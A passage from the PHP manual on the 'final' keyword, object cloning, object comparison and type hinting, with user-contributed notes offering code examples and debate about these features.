        echo '<hr>'.
            'i am `'.__METHOD__.'()` and i just changed my $var to: `'.self::$var.'`<br>';
    }
}

BaseClass::test();  // i am `BaseClass::test()` and this is my var: `i belong to BaseClass`
ChildClass::test(); // i am `ChildClass::test()` and this is my var: `i belong to ChildClass`
                    // and this is my parent var: `i belong to BaseClass`
ChildClass::changeVar('something new'); // i am `ChildClass::changeVar()` and i just changed my $var to: `something new`
                                        // but the parent $var is still: `i belong to BaseClass`
BaseClass::changeVar('something different'); // i am `BaseClass::changeVar()` and i just changed my $var to: `something different`
BaseClass::dontCopyMe('a text'); // i am `BaseClass::dontCopyMe()` and i just changed my $var to: `a text`
ChildClass::dontCopyMe('a text'); // Fatal error: Cannot override final method BaseClass::dontCopyMe() in ...
?>
t at bestcodepractise dot com 23-Feb-2014 07:18
@someone
@thomas
Decorating a finalized class is not possible. The decorator that's mentioned is incomplete. There's a fundamental flaw in it. Look:
<?php
//copy'n'paste your FooBar, Foo definition

$f = new Foo;
$fd = new FooDecorator($f);

var_dump($fd instanceof $f);  //FALSE
var_dump(is_a($fd, 'Foo')); //FALSE
fooFoo($fd);  //E_RECOVERABLE_ERROR here !!!;

?>
What you've created is just an object that happens to have the same methods(a duck type). But if in the client code someone makes decision based on the type of your passed decorator they'll make incorrect decision - or to be more precise not the one that you, the author of the 'decorator' wants them to make.
FYI that's the correct implementation based on GoF:
<?php
class Foo
{
    public method doFoo()
    {
        // do something useful and return a result
    }
}

//decorator must inherit the interface(the methods, type info etc.) //of the decorated class by *extending* it.
class FooDecorator extends Foo
{
    private $foo;

    public function __construct(Foo $foo)
    {
        $this->foo = $foo;
    }

    public function doFoo()
    {
          $result = $this->foo->doFoo();
          // ... customize result ...
          return $result;
    }
}

function fooFoo(Foo $f) {}
$f = new Foo;
$fd = new FooDecorator($f);

var_dump($fd instanceof $f); //true
fooFoo($fd); //no E_RECOVERABLE_ERROR here;

?>

I haven't come across any legitimate use of a finalizing class/method and I personally think that 'final' is has no much use and is just a copy'n'pasted from Java into PHP. The keyword makes code difficult to test. If you have to create a test double from a finalized class because you'll need create a derived type to shadow the methods you don't care about. If one of them is finalized you've already lost.
someone dot else at elsewhere dot net 05-Jan-2014 07:40
@thomas at somewhere dot com

The 'final' keyword is extremely useful.  Inheritance is also useful, but can be abused and becomes problematic in large applications.  If you ever come across a finalized class or method that you wish to extend, write a decorator instead.

<?php
final class Foo
{
    public method doFoo()
    {
        // do something useful and return a result
    }
}

final class FooDecorator
{
    private $foo;

    public function __construct(Foo $foo)
    {
        $this->foo = $foo;
    }

    public function doFoo()
    {
          $result = $this->foo->doFoo();
          // ... customize result ...
          return $result;
    }
}
?>
thomas at somewhere dot com 08-Dec-2013 07:25
Please, please, please never use this keyword anywhere in your code. By using it you are saying that you somehow magically know that your class or method is perfect and will suit every possible use of the class API you're defining and that no one will ever need to do so much as add some data checking before calling parent:: on the method.

This is never true and will never be true, so let the poor programmer that needs to extend your code do so.

If you want to have "final" in your code then you don't understand OOP.

Hopefully this will be removed in some future version of the language.
Anonymous 28-Sep-2010 04:06
The behaviour of FINAL is not as serious as you may think. A little explample:
<?php
class A {
     final private function method(){}
}

class B extends A {
    private function method(){}
}
?>

Normally you would expect some of the following will happen:
- An error that final and private keyword cannot be used together
- No error as the private visibility says, that a method/var/etc. is only visible within the same class

But what happens is PHP is a little curios: "Cannot override final method A::method()"

So its possible to deny method names in subclasses! Don't know if this is  a good behavior, but maybe its useful for your purpose.
Baldurien 31-Aug-2010 10:37
"Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'."

http://php.net/manual/en/language.oop5.constants.php

This is more or less true, regardless of the fact that constant (being defined at class level or not) in PHP are only scalar (int, string, etc) while in Java they may be pure object (ex: java.awat.Color.BLACK). The only possible solution of having such kind of constant is :

<?php
class Bar {...}
class Foo {
  public static $FOOBAR;

  static function __init() {
    static $init = false;
    if ($init) throw new Exception('Constants were already initialized');
    self::$FOOBAR = new Bar();
    $init = true;
  }
}
Foo::__init();
?>
That said, perhaps it is useless unless PHP automatically calls the __init() method.

However, one alternative that could be done in certain case is this :

<?php
function __autoload($className) {
  ... require the file where the class is ...
  if (interface_exists($className, false)) return;
  if (class_exists($className, false)) {
    $rc = new ReflectionClass($className);
    if (!$rc->hasMethod('__init')) return;
    $m = $rc->getMethod('__init');
    if (!($m->isStatic() && $m->isPrivate())) {
      throw new Exception($className . ' __init() method must be private and static !');
    }
    $m->invoke(null);
    return;
  }
  throw new Exception('Class or interface not found ' . $className);
}
?>

This can only work when one class is defined per file, since we are assured that __autoload() will be called to load the file containing the class.

eg:

test2.php:
<?php
class B {
 public static $X;
 private static function __init() {
   echo 'B', "\n";
   self::$X = array(1, 2);
 }
}
class A {
  public static $Y;
  private static function __init() {
    echo 'A', "\n";
    self::$Y = array(3, 4);
  }
}
?>
test.php:
<?php
function __autoload($n) {
  if ($n == 'A' || $n == 'B') require 'test2.php';
  ... do our __init() trick ...
}
var_dump(B::$X); // shows B, then array(2) (1, 2)
var_dump(A::$Y); // shows NULL.
?>
jriddy at gmail dot com 17-Jul-2009 11:20
Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'.

http://php.net/manual/en/language.oop5.constants.php
santoshjoshi2003 at yahoo dot co dot in 05-Dec-2008 11:45
The use of final keyword is just like that occurs in Java
In java final has three uses
    1) prevent class Inheritance
    2) prevent method overriding or redifination of
        method in subclass
    3) and to declare constants
 But the third point seems to be missing from the PHP
 I guess, as i am a java developer Currently gaining competence in PHP
slorenzo at clug dot org dot ve 31-Oct-2007 08:13
<?php
class parentClass {
    public function someMethod() { }
}
class childClass extends parentClass {
    public final function someMethod() { } //override parent function
}

$class = new childClass;
$class->someMethod(); //call the override function in chield class
?>
penartur at yandex dot ru 22-Mar-2007 10:39
Note that you cannot ovverride final methods even if they are defined as private in parent class.
Thus, the following example:
<?php
class parentClass {
    final private function someMethod() { }
}
class childClass extends parentClass {
    private function someMethod() { }
}
?>
dies with error "Fatal error: Cannot override final method parentClass::someMethod() in ***.php on line 7"

Such behaviour looks slight unexpected because in child class we cannot know, which private methods exists in a parent class and vice versa.

So, remember that if you defined a private final method, you cannot place method with the same name in child class.


Object Cloning

Creating a copy of an object with fully replicated properties is not always the wanted behavior. A good example of the need for copy constructors, is if you have an object which represents a GTK window and the object holds the resource of this GTK window, when you create a duplicate you might want to create a new window with the same properties and have the new object hold the resource of the new window. Another example is if your object holds a reference to another object which it uses and when you replicate the parent object you want to create a new instance of this other object so that the replica has its own separate copy.

An object copy is created by using the clone keyword (which calls the object's __clone() method if possible). An object's __clone() method cannot be called directly.

$copy_of_object = clone $object;

When an object is cloned, PHP 5 will perform a shallow copy of all of the object's properties. Any properties that are references to other variables, will remain references.

void __clone ( void )

Once the cloning is complete, if a __clone() method is defined, then the newly created object's __clone() method will be called, to allow any necessary properties that need to be changed.

Example #1 Cloning an object

<?php
class SubObject
{
    static $instances = 0;
    public $instance;

    public function __construct() {
        $this->instance = ++self::$instances;
    }

    public function __clone() {
        $this->instance = ++self::$instances;
    }
}

class MyCloneable
{
    public $object1;
    public $object2;

    function __clone()
    {
        // Force a copy of this->object, otherwise
        // it will point to same object.
        $this->object1 = clone $this->object1;
    }
}

$obj = new MyCloneable();

$obj->object1 = new SubObject();
$obj->object2 = new SubObject();

$obj2 = clone $obj;

print("Original Object:\n");
print_r($obj);

print("Cloned Object:\n");
print_r($obj2);

?>

The above example will output:

Original Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 1
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)
Cloned Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 3
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)

User Contributed Notes

obaidmaroof at gmail dot com 29-Apr-2014 11:01
<?php
class A{
  public $my_var;
  function __construct() { $this->my_var = 'aaa'; }
  }

  $a = new A;
  $b = clone $a;
  $b->my_var = 'bbb';

  echo($a->my_var);   // 'aaa'
  echo($b->my_var);   // 'bbb'

  $c = new A;
  $d = $c;
  $d->my_var = 'bbb';

  echo($c->my_var);   // 'bbb'
  echo($d->my_var);   // 'bbb'
?>

simple example to understand the basic concept behind clone.
seriously at something dot com 07-Jun-2012 01:58
If you want a property that gets the same value in every clone if changed, you can do this simple trick:

<?php

class A
{
    public static $name ;

}

$a = new A;
$a::$name = 'George';

$b = clone $a;
$b::$name = "Somebody else";

echo 'a: ' . $a::$name . "\n";
echo 'b: ' . $b::$name . "\n";

?>

this will output:

a: Somebody else
b: Somebody else

You can change any of the clones property and all of the others will change accordingly.
walkman at walkman dot pk 13-Oct-2011 02:11
If you want a property that gets the same value in every clone if changed, you can do this simple trick:

<?php

class A
{
    public $name ;

    public function __construct()
    {
        $this->name = & $this->name;
    }
}

$a = new A;
$a->name = "George";

$b = clone $a;
$b->name = "Somebody else";

var_dump($a);
var_dump($b);
?>

this will output:

object(A)#1 (1) {
  ["name"]=>
  &string(13) "Somebody else"
}
object(A)#2 (1) {
  ["name"]=>
  &string(13) "Somebody else"
}

You can change any of the clones property and all of the others will change accordingly.
jojor at gmx dot net 07-Jun-2010 10:47
Here is test script i wrote to test the behaviour of clone when i have arrays with primitive values in my class - as an additonal test of the note below by jeffrey at whinger dot nl

<pre>
<?php

class MyClass {

    private $myArray = array();
    function pushSomethingToArray($var) {
        array_push($this->myArray, $var);
    }
    function getArray() {
        return $this->myArray;
    }

}

//push some values to the myArray of Mainclass
$myObj = new MyClass();
$myObj->pushSomethingToArray('blue');
$myObj->pushSomethingToArray('orange');
$myObjClone = clone $myObj;
$myObj->pushSomethingToArray('pink');

//testing
print_r($myObj->getArray());     //Array([0] => blue,[1] => orange,[2] => pink)
print_r($myObjClone->getArray());//Array([0] => blue,[1] => orange)
//so array  cloned

?>
</pre>
jeffrey at whinger dot nl 15-Apr-2010 02:41
For me it wasn't very clear to how this cloning of objects really worked so I made this little bit of code:

<?php
class foo
{
    public $test;

    public function test()
    {
        echo 'give us a '.$this->test."<br>\n";
    }
}

class bar
{
    public $foo;

    public function insertFoo($foo)
    {
        $this->foo = $foo;
    }
}

$foo = new foo();

$foo->test = 'foo';

$bar = new bar();

$bar->insertFoo($foo);

$foo->test();

$bar->foo->test();

$foo->test = 'bar';

$foo->test();

$bar->foo->test();

$bar->foo = clone $foo;

$bar->foo->test = 'woop woop';

$foo->test();

$bar->foo->test();

// result:
// give us a foo
// give us a foo
// give us a bar
// give us a bar
// give us a bar
// give us a woop woop
?>
henke at henke37 dot cjb dot net 10-Apr-2010 12:31
Arrays are shallow cloned on assignment, so don't use the clone keyword on them, just assign it to a new variable. That would lead to an error instead.
olivier dot pons at goo dot without dot oo dot mail dot com 19-Mar-2010 07:14
If you think "clone" will create a new instance, thus calling "__constructor", you're wrong. clone seems to only allocate memory for the object cloned, and simply copies the variables memory from the original to the new one (imagine something alike memcpy() in C). Nothing more. Keep in mind you'll have to do all the rest by yourself.
emile at webflow dot nl 02-Mar-2010 10:27
Another gotcha I encountered: like __construct and __desctruct, you must call parent::__clone() yourself from inside a child's __clone() function. The manual kind of got me on the wrong foot here: "An object's __clone() method cannot be called directly."
ben at last dot fm 05-Jun-2009 07:33
Here are some cloning and reference gotchas we came up against at Last.fm.

1. PHP treats variables as either 'values types' or 'reference types', where the difference is supposed to be transparent. Object cloning is one of the few times when it can make a big difference. I know of no programmatic way to tell if a variable is intrinsically a value or reference type. There IS however a non-programmatic ways to tell if an object property is value or reference type:

<?php

class A { var $p; }

$a = new A;
$a->p = 'Hello'; // $a->p is a value type
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello" // <-- no &
}
*/

$ref =& $a->p; // note that this CONVERTS $a->p into a reference type!!
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  &string(5) "Hello" // <-- note the &, this indicates it's a reference.
}
*/

?>

2. unsetting all-but-one of the references will convert the remaining reference back into a value. Continuing from the previous example:

<?php

unset($ref);
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello"
}
*/

?>

I interpret this as the reference-count jumping from 2 straight to 0. However...

2. It IS possible to create a reference with a reference count of 1 - i.e. to convert an property from value type to reference type, without any extra references. All you have to do is declare that it refers to itself. This is HIGHLY idiosyncratic, but nevertheless it works. This leads to the observation that although the manual states that 'Any properties that are references to other variables, will remain references,' this is not strictly true. Any variables that are references, even to *themselves* (not necessarily to other variables), will be copied by reference rather than by value.

Here's an example to demonstrate:

<?php

class ByVal
{
    var $prop;
}

class ByRef
{
    var $prop;
    function __construct() { $this->prop =& $this->prop; }
}

$a = new ByVal;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop remains at 1

$a = new ByRef;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop is now 2

?>
koyama 03-Mar-2009 04:28
The __clone() method for deep cloning by cheetah at tanabi dot org also works when the object to be cloned contains references to itself. This is not the case for any variation of the __clone() method in edit by danbrown at php dot net.

We are taking advantage of the fact that one can serialize an object that references itself.

Example:

<?php
class Foo
{
    function __construct()
    {
        $this->_myself = $this;
    }

    function __clone() {
        foreach ($this as $key => $val) {
            if (is_object($val) || (is_array($val))) {
                $this->{$key} = unserialize(serialize($val));
            }
        }
    }
}

// this object references itself
$foo = new Foo();

// create a deep clone
$bar = clone $foo;

// check if we reach this point
echo 'Finished cloning!';
?>

Replacing the __clone() method with the one shown in edit by danbrown at php dot net we run into an infinite loop, and we never get message 'Finished cloning!'.
cheetah at tanabi dot org 18-Nov-2008 02:15
Want deep cloning without too much hassle?

<?php
function __clone() {
    foreach($this as $key => $val) {
        if(is_object($val)||(is_array($val))){
            $this->{$key} = unserialize(serialize($val));
        }
    }
}
?>

That will insure any object, or array that may potentially contain objects, will get cloned without using recursion or other support methods.

[EDIT BY danbrown AT php DOT net: An almost exact function was contributed on 02-DEC-2008-10:18 by (david ashe AT metabin):

<?php
    function __clone(){
        foreach($this as $name => $value){
            if(gettype($value)=='object'){
                $this->$name= clone($this->$name);
            }
        }
    }
?>

Giving credit where it's due.  ~DPB]
wbcarts at juno dot com 02-Oct-2008 08:41
CLONED ARMIES? USE STATIC DATA

When I think of cloning, I always think of Star Wars "Cloned Army"... where the number of clones are in the hundreds of thousands. So far, I have only seen examples of one or two clones with either shallow, deep, or recursive references. My fix is to use the static keyword. With static, you choose the properties your objects share... and makes scaling up the number of so-called "clones" much easier.

<?php

class Soldier {
  public static $status;           // this is the property I'm trying to clone

  protected static $idCount = 0;   // used to increment ID numbers
  protected $id;                   // each Soldier will have a unique ID

  public function __construct() {
    $this->id = ++self::$idCount;
  }

  public function issueCommand($task) {
    switch($task){
      case 'Deploy Troops': self::$status = 'deploying'; break;
      case 'March Forward': self::$status = 'marching forward'; break;
      case 'Fire!': self::$status = 'shot fired'; break;
      case 'Retreat!': self::$status = 'course reversed'; break;
      default: self::$status = 'at ease'; break;
    }
    echo 'COMMAND ISSUED: ' . $task . '<br>';
  }

  public function __toString() {
    return "Soldier[id=$this->id, status=" . self::$status . ']';
  }
}

# create the General and the Cloned Army
$general = new Soldier();
$platoon = array();
  for($i = 0; $i < 250; $i++) $platoon[] = new Soldier();

# issue commands, then check what soldiers are doing
$general->issueCommand('Deploy Troops');
echo $general . '<br>';
echo $platoon[223] . '<br>';
echo $platoon[12] . '<br>';

$general->issueCommand('March Forward');
echo $platoon[47] . '<br>';
echo $platoon[163] . '<br>';

$general->issueCommand('Fire!');
echo $platoon[248] . '<br>';
echo $platoon[68] . '<br>';

$general->issueCommand('Retreat!');
echo $platoon[26] . '<br>';
echo $platoon[197] . '<br>';
?>

COMMAND ISSUED: Deploy Troops
  Soldier[id=1, status=deploying]
  Soldier[id=225, status=deploying]
  Soldier[id=14, status=deploying]

COMMAND ISSUED: March Forward
  Soldier[id=49, status=marching forward]
  Soldier[id=165, status=marching forward]

COMMAND ISSUED: Fire!
  Soldier[id=250, status=shot fired]
  Soldier[id=70, status=shot fired]

COMMAND ISSUED: Retreat!
  Soldier[id=28, status=course reversed]
  Soldier[id=199, status=course reversed]
Jim Brown 20-Jul-2008 12:34
Regarding the generic deep __clone() example provided by david ashe at metabin:

If your object has a variable that stores an array of objects, that particular __clone() example will NOT perform a deep copy on your array of objects.
alex dot offshore at gmail dot com 19-May-2008 12:23
Remember that in PHP 5 ALL objects are assigned BY REFERENCE.

<?php

  function foo($a) // notice that '&' near $a is missing
  {
    $a['bar'] = 10;
  }

  $x = array('bar' => 0); // built-in array() is not an object
  $y = new ArrayObject(array('bar' => 0));

  echo "\$x['bar'] == ${x['bar']};\n\$y['bar'] == ${y['bar']};\n\n";

  foo($x);
  foo($y);

  echo "\$x['bar'] == ${x['bar']};\n\$y['bar'] == ${y['bar']};\n";

?>

Output:
$x['bar'] == 0;
$y['bar'] == 0;

$x['bar'] == 0;
$y['bar'] == 10;

Hope this will be useful.

By the way, to determine whether the variable is compatible with ArrayAccess/ArrayObject see http://php.net/manual/en/function.is-array.php#48083
crrodriguez at suse dot de 13-Mar-2008 06:52
Keep in mind that since PHP 5.2.5, trying to clone a non-object correctly results in a fatal error, this differs from previous versions where only a Warning was thrown.
Hayley Watson 18-Dec-2007 12:51
It should go without saying that if you have circular references, where a property of object A refers to object B while a property of B refers to A (or more indirect loops than that), then you'll be glad that clone does NOT automatically make a deep copy!

<?php

class Foo
{
    var $that;

function __clone()
{
    $this->that = clone $this->that;
}

}

$a = new Foo;
$b = new Foo;
$a->that = $b;
$b->that = $a;

$c = clone $a;
echo 'What happened?';
var_dump($c);
Alexey 08-Feb-2007 04:18
To implement __clone() method in complex classes I use this simple function:

function clone_($some)
{
   return (is_object($some)) ? clone $some : $some;
}

In this way I don't need to care about type of my class properties.
MakariVerslund at gmail dot com 22-Jan-2007 01:30
I ran into the same problem of an array of objects inside of an object that I wanted to clone all pointing to the same objects. However, I agreed that serializing the data was not the answer. It was relatively simple, really:

public function __clone() {
    foreach ($this->varName as &$a) {
        foreach ($a as &$b) {
            $b = clone $b;
        }
    }
}

Note, that I was working with a multi-dimensional array and I was not using the Key=>Value pair system, but basically, the point is that if you use foreach, you need to specify that the copied data is to be accessed by reference.
jorge dot villalobos at gmail dot com 31-Mar-2005 12:29
I think it's relevant to note that __clone is NOT an override. As the example shows, the normal cloning process always occurs, and it's the responsibility of the __clone method to "mend" any "wrong" action performed by it.


Comparing Objects

When using the comparison operator (==), object variables are compared in a simple manner, namely: Two object instances are equal if they have the same attributes and values, and are instances of the same class.

When using the identity operator (===), object variables are identical if and only if they refer to the same instance of the same class.

An example will clarify these rules.

Example #1 Example of object comparison in PHP 5

<?php
function bool2str($bool)
{
    if ($bool === false) {
        return 'FALSE';
    } else {
        return 'TRUE';
    }
}

function compareObjects(&$o1, &$o2)
{
    echo 'o1 == o2 : ' . bool2str($o1 == $o2) . "\n";
    echo 'o1 != o2 : ' . bool2str($o1 != $o2) . "\n";
    echo 'o1 === o2 : ' . bool2str($o1 === $o2) . "\n";
    echo 'o1 !== o2 : ' . bool2str($o1 !== $o2) . "\n";
}

class Flag
{
    public $flag;

    function Flag($flag = true) {
        $this->flag = $flag;
    }
}

class OtherFlag
{
    public $flag;

    function OtherFlag($flag = true) {
        $this->flag = $flag;
    }
}

$o = new Flag();
$p = new Flag();
$q = $o;
$r = new OtherFlag();

echo "Two instances of the same class\n";
compareObjects($o, $p);

echo "\nTwo references to the same instance\n";
compareObjects($o, $q);

echo "\nInstances of two different classes\n";
compareObjects($o, $r);
?>

The above example will output:

Two instances of the same class
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Two references to the same instance
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : TRUE
o1 !== o2 : FALSE

Instances of two different classes
o1 == o2 : FALSE
o1 != o2 : TRUE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Note:

Extensions can define own rules for their objects comparison (==).

User Contributed Notes

nhuhoai 17-Feb-2014 09:45
For comparison about two objects in a class, you can use an interface like this and customize your functions for each class:

<?php
interface EQU {
    public static function compare( EQU $me, EQU $you );
    public function equals( EQU $you );
}
?>

If you gotcha a super class, you can make generic functions (not safe but work with not complex class):

<?php
abstract class SuperClass {
    public function __construct( ) {
        // do what you need
    }
    public static function compare( $obj1, $obj2 ) {
        return serialize( $obj1 ) == serialize( $obj2 );
    }
    public function equals( $obj ) {
        return static::compare( $this, $obj );
    }
}
?>
Oddant 30-May-2013 02:15
This example is way too much confusing, if you new to php comparison motor, you should think (after reading this example) that '==' is actually comparing the type of the objects. that's not true, it actually compares the type of the objects AND the properties of them.

<?php

class A {
    private $value;
    function __construct ($value)
    {
        $this->value = $value;
    }
}
class B {
    private $value;
    function __construct ($value)
    {
        $this->value = $value;
    }
}

$a1 = new A (1);
$a2 = new A (2);
$b1 = new B (1);

var_dump( $a1 == $a2 );
var_dump( $a1 == $b1 );
?>
Anonymous 02-Jul-2010 06:00
Comparison using <> operators should be documented.  Between two objects, at least in PHP5.3, the comparison operation stops and returns at the first unequal property found.

<?php

$o1 = new stdClass();
$o1->prop1 = 'c';
$o1->prop2 = 25;
$o1->prop3 = 201;
$o1->prop4 = 1000;

$o2 = new stdClass();
$o2->prop1 = 'c';
$o2->prop2 = 25;
$o2->prop3 = 200;
$o2->prop4 = 9999;

echo (int)($o1 < $o2); // 0
echo (int)($o1 > $o2); // 1

$o1->prop3 = 200;

echo (int)($o1 < $o2); // 1
echo (int)($o1 > $o2); // 0

?>
Hayley Watson 17-Sep-2008 12:33
This has already been mentioned (see jazfresh at hotmail.com's note), but here it is again in more detail because for objects the difference between == and === is significant.

Loose equality (==) over objects is recursive: if the properties of the two objects being compared are themselves objects, then those properties will also be compared using ==.

<?php
class Link
{
    public $link; function __construct($link) { $this->link = $link; }
}
class Leaf
{
    public $leaf; function __construct($leaf) { $this->leaf = $leaf; }
}

$leaf1 = new Leaf(42);
$leaf2 = new Leaf(42);

$link1 = new Link($leaf1);
$link2 = new Link($leaf2);

echo "Comparing Leaf object equivalence: is \$leaf1==\$leaf2? ", ($leaf1 == $leaf2  ? "Yes" : "No"), "\n";
echo "Comparing Leaf object identity: is \$leaf1===\$leaf2? ",   ($leaf1 === $leaf2 ? "Yes" : "No"), "\n";
echo "\n";
echo "Comparing Link object equivalence: is \$link1==\$link2? ",($link1 == $link2  ? "Yes" : "No"), "\n";
echo "Comparing Link object identity: is \$link1===\$link2? ",  ($link1 === $link2 ? "Yes" : "No"), "\n";
?>

Even though $link1 and $link2 contain different Leaf objects, they are still equivalent because the Leaf objects are themselves equivalent.

The practical upshot is that using "==" when "===" would be more appropriate can result in a severe performance penalty, especially if the objects are large and/or complex. In fact, if there are any circular relationships involved between the objects or (recursively) any of their properties, then a fatal error can result because of the implied infinite loop.

<?php
class Foo { public $foo; }
$t = new Foo; $t->foo = $t;
$g = new Foo; $g->foo = $g;

echo "Strict identity:   ", ($t===$g ? "True" : "False"),"\n";
echo "Loose equivalence: ", ($t==$g  ? "True" : "False"), "\n";
?>

So preference should be given to comparing objects with "===" rather than "=="; if two distinct objects are to be compared for equivalence, try to do so by examining suitable individual properties. (Maybe PHP could get a magic "__equals" method that gets used to evaluate "=="? :) )
wbcarts at juno dot com 08-Sep-2008 10:36
COMPARING OBJECTS using PHP's usort() method.

PHP and MySQL both provide ways to sort your data already, and it is a good idea to use that if possible. However, since this section is on comparing your own PHP objects (and that you may need to alter the sorting method in PHP), here is an example of how you can do that using PHP's "user-defined" sort method, usort() and your own class compare() methods.

<?php

/*
 * Employee.php
 *
 * This class defines a compare() method, which tells PHP the sorting rules
 * for this object - which is to sort by emp_id.
 *
 */
class Employee
{
    public $first;
    public $last;
    public $emp_id;     // the property we're interested in...

    public function __construct($emp_first, $emp_last, $emp_ID)
    {
        $this->first = $emp_first;
        $this->last = $emp_last;
        $this->emp_id = $emp_ID;
    }

    /*
     * define the rules for sorting this object - using emp_id.
     * Make sure this function returns a -1, 0, or 1.
     */
    public static function compare($a, $b)
    {
        if ($a->emp_id < $b->emp_id) return -1;
        else if($a->emp_id == $b->emp_id) return 0;
        else return 1;
    }

    public function __toString()
    {
        return "Employee[first=$this->first, last=$this->last, emp_id=$this->emp_id]";
    }
}

# create a PHP array and initialize it with Employee objects.
$employees = array(
  new Employee("John", "Smith", 345),
  new Employee("Jane", "Doe", 231),
  new Employee("Mike", "Barnes", 522),
  new Employee("Vicky", "Jones", 107),
  new Employee("John", "Doe", 2),
  new Employee("Kevin", "Patterson", 89)
);

# sort the $employees array using Employee compare() method.
usort($employees, array("Employee", "compare"));

# print the results
foreach($employees as $employee)
{
  echo $employee . '<br>';
}
?>

Results are now sorted by emp_id:

Employee[first=John, last=Doe, emp_id=2]
Employee[first=Kevin, last=Patterson, emp_id=89]
Employee[first=Vicky, last=Jones, emp_id=107]
Employee[first=Jane, last=Doe, emp_id=231]
Employee[first=John, last=Smith, emp_id=345]
Employee[first=Mike, last=Barnes, emp_id=522]

Important Note: Your PHP code will never directly call the Employee's compare() method, but PHP's usort() calls it many many times. Also, when defining the rules for sorting, make sure to get to a "primitive type" level... that is, down to a number or string, and that the function returns a -1, 0, or 1, for reliable and consistent results.

Also see: http://www.php.net/manual/en/function.usort.php for more examples of PHP's sorting facilities.
cross+php at distal dot com 05-Mar-2008 05:50
In response to "rune at zedeler dot dk"s comment about class contents being equal, I have a similar issue.  I want to sort an array of objects using sort().

I know I can do it with usort(), but I'm used to C++ where you can define operators that allow comparison.  I see in the zend source code that it calls a compare_objects function, but I don't see any way to implement that function for an object.  Would it have to be an extension to provide that interface?

If so, I'd like to suggest that you allow equivalence and/or comparison operations to be defined in a class definition in PHP.  Then, the sorts of things rune and I want to do would be much easier.
dionyziz at deviantart dot com 11-Mar-2007 04:20
Note that classes deriving from the same parent aren't considered equal when comparing even using ==; they should also be objects of the same child class.

<?php
    class Mom {
        private $mAttribute;

        public function Mom( $attribute ) {
            $this->mAttribute = $attribute;
        }
        public function Attribute() {
             return $this->mAttribute;
        }
    }

    final class Sister extends Mom {
        public function Sister( $attribute ) {
            $this->Mom( $attribute );
        }
    }

    final class Brother extends Mom {
        public function Brother( $attribute ) {
            $this->Mom( $attribute );
        }
    }

    $sister = new Sister( 5 );
    $brother = new Brother( 5 );

    assert( $sister == $brother ); // will FAIL!
?>

This assertion will fail, because sister and brother are not of the same child class!

If you want to compare based on the parent class object type only, you might have to define a function for comparisons like these, and use it instead of the == operator:

<?php
    function SiblingsEqual( $a, $b ) {
        if ( !( $a instanceof Mom ) ) {
            return false;
        }
        if ( !( $b instanceof Mom ) ) {
            return false;
        }
        if ( $a->Attribute() != $b->Attribute() ) {
            return false;
        }
        return true;
    }

    assert( SiblingsEqual( $sister, $brother ) ); // will succeed
?>
rune at zedeler dot dk 28-Feb-2007 05:34
Whoops, apparently I hadn't checked the array-part of the below very well.
Forgot to test if the arrays had same length, and had some misaligned parenthesis.
This one should work better :+)

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
        return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a)) && !is_null(key($b))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
        return false;
      next($a); next($b);
    }
    return is_null(key($a)) && is_null(key($b));
  }
  else
    return $a===$b;
}
?>
rune at zedeler dot dk 28-Feb-2007 05:27
I haven't found a build-in function to check whether two obects are identical - that is, all their fields are identical.
In other words,

<?
class A {
  var $x;
  function __construct($x) { $this->x = $x; }

}
$identical1 = new A(42);
$identical2 = new A(42);
$different = new A('42');
?>

Comparing the objects with "==" will claim that all three of them are equal. Comparing with "===" will claim that all are un-equal.
I have found no build-in function to check that the two identicals are
identical, but not identical to the different.

The following function does that:

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
    return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a) && !is_null(key($b)))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
    return false;
      next($a); next($b);
    }
    return true;
  }
  else
    return $a===$b;
}
?>
jazfresh at hotmail.com 08-Dec-2006 11:36
Note that when comparing object attributes, the comparison is recursive (at least, it is with PHP 5.2). That is, if $a->x contains an object then that will be compared with $b->x in the same manner. Be aware that this can lead to recursion errors:
<?php
class Foo {
    public $x;
}
$a = new Foo();
$b = new Foo();
$a->x = $b;
$b->x = $a;

print_r($a == $b);
?>
Results in:
PHP Fatal error:  Nesting level too deep - recursive dependency? in test.php on line 11


Type Hinting

PHP 5 introduces type hinting. Functions are now able to force parameters to be objects (by specifying the name of the class in the function prototype), interfaces, arrays (since PHP 5.1) or callable (since PHP 5.4). However, if NULL is used as the default parameter value, it will be allowed as an argument for any later call.

If class or interface is specified as type hint then all its children or implementations are allowed too.

Type hints can not be used with scalar types such as int or string. Resources and Traits are not allowed either.

Example #1 Type Hinting examples

<?php
// An example class
class MyClass
{
    /**
     * A test function
     *
     * First parameter must be an object of type OtherClass
     */
    public function test(OtherClass $otherclass) {
        echo $otherclass->var;
    }

    /**
     * Another test function
     *
     * First parameter must be an array
     */
    public function test_array(array $input_array) {
        print_r($input_array);
    }

    /**
     * First parameter must be iterator
     */
    public function test_interface(Traversable $iterator) {
        echo get_class($iterator);
    }

    /**
     * First parameter must be callable
     */
    public function test_callable(callable $callback, $data) {
        call_user_func($callback, $data);
    }
}

// Another example class
class OtherClass {
    public $var = 'Hello World';
}
?>

Failing to satisfy the type hint results in a catchable fatal error.

<?php
// An instance of each class
